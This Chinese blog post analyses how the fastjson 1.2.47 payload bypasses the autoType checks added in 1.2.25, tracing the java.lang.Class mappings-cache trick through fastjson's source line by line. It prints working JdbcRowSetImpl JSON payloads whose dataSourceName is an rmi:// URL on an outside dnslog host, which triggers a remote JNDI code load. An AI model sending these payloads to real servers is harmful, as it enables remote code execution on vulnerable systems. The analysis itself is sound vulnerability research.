fastjson 1.2.47 payload分析

0X01 fastjson 1.2.25修了什么

用1.2.24的payload打一遍,autotype被拦截

"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";

对比 1.2.24 和 1.2.25的看看

在加载class的同时检测加载的类

先进行了黑名单,黑名单命中就没了;
黑名单列表

再进行白名单,白名单命中直接过
白名单

所以,针对1.2.25的修改做突破

0X02 1.2.25到1.2.47的ParserConfig.class checkAutoType函数

改成了对比hash

0X03 看看1.2.25 - 1.2.47的payload是怎么突破的

1 payload

String string = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://4444.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}}}";

2 第一个解析 java.lang.Class

ParserConfig.class中
checkAutoType函数-> java.lang.Class 顺利通过
在 mapping列表中(86个,没有java.lang.Class),没有找到,所以从 this.deserializers.findClass中寻找(按理解,是基础类,1024个),找到了,返回。

3 第二个解析 com.sun.rowset.JdbcRowSetImpl

在checkAutoType中

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);

跳转到getClassFromMapping函数,mappings从86个变成87个,多了一个com.sun.rowset.JdbcRowSetlmpl,之后顺利拿到class,在737返回。

4 什么时候把jdbc塞进mappings的

这个mapping,第一个还没看到。那么可能是第一次执行后塞进去的
我们直接在TypeUtils.class里搜索"mappings.put(" ,loadClass里三次调用,也就是说如果调用这个loadClass可能会塞进来
直接打上三个断点,看看是否是通过这里,被塞进来的

发现确实是第一个解析完后,在解析第二个之前就塞进来了。在293行走到了TypeUtils的loadclass传入jdbc函数。
具体找找在哪里,跟进去

在fastjson/serializer/MiscCoded.class: 287中,调用loadClass,把com.sun.rowset.JdbcRowSetImpl传进去。

那么问题,com.sun.rowset.JdbcRowSetImpl哪来的,明明className是 java.lang.class。发现还是DefaultJSONParser的parse来的。

com.sun.rowset.JdbcRowSetImpl来自parse时, lexer.stringVal(),java.lang.Class的作用,会调用到这里。
stringVal()是接口函数 (fastjson/parser/JSONLexerBase.class),具体实现的地方是fastjson/parser/JSONScanner.class,在下图1-1257 Step into进入。

没有 hasSpecial,所以取42到42+29 com.sun.rowset.JdbcRowSetlmpl

5 关于java.lang.class

为什么是java.lang.class?
因为反序列化处理类是MiscCodec。
这种映射关系在哪里定义的?
DefaultJSONParser.class 292行 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
跳转ParserConfig.class,定义了1023种 类:反序列化处理类的映射关系

6 由上而下

payload

"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://3333.y7jjlyzz.dnslog.cn/Exploit\",\"autoCommit\":true}";

parseObject:201 JSON->
--parse:128, JSON->
----parse:137, JSON->
------parse:1293,DefaultJSONParser-> [return this.parse((Object)null);]
--------parse:1327,DefaultJSONParser [case 12]

第一轮,解析到第一段内容 name: {}
[文件] DefaultJSONParser.class
488行 obj = this.parseObject((Map)input, key); key:name
--[文件] DefaultJSONParser.class
--276行 第一个java.lang.Class经过checkAutoType后
--292行 获取 "java.lang.class"的反序列化处理类 MiscCodec: ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
--293行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--进入deserializer.deserialze-MiscCodec
----[文件] MiscCodec.class-deserialze:
----229行 objVal = parser.parse();
------[文件] DefaultJSONParser.class:
------1257 parser函数 case 4
------String stringLiteral = lexer.stringVal();
--------[文件] fastjson.parser.JSONScanner.class:
--------return !this.hasSpecial ? this.subString(this.np + 1, this.sp) : new String(this.sbuf, 0, this.sp);
--------返回com.sun.rowset.JdbcRowSetImpl的objVal
----287行 return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
------[文件] fastjson.util.TypeUtils.class:
------loadClass() 858行 把com.sun.rowset.JdbcRowSetImpl 放到mappings中
第二轮,解析第二段内容 x:{}
488行 obj = this.parseObject((Map)input, key); key:x
--[文件] DefaultJSONParser.class
--276行 typename="com.sun.rowset.JdbcRowSetImpl" 进入checkAutoType
----[文件] ParserConfig.class
----728行 Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
------[文件] TypeUtils.class
------return (Class)mappings.get(className);
------mappings里已经有com.sun.rowset.JdbcRowSetImpl了
----736行 return clazz;
--293 行 thisObj = deserializer.deserialze(this, clazz, fieldName);
--loadclass 触发JdbcRowSetImpl

7 回到1.2.47

loadClass:1242, TypeUtils (com.alibaba.fastjson.util)
mappings.put(className, clazz);
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
return loadClass(className, classLoader, true);
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
Object obj = deserializer.deserialze(this, clazz, fieldName);

�由此修改mappings

posted @ 2021-12-06 15:46  huim  阅读(838)  评论(0编辑  收藏  举报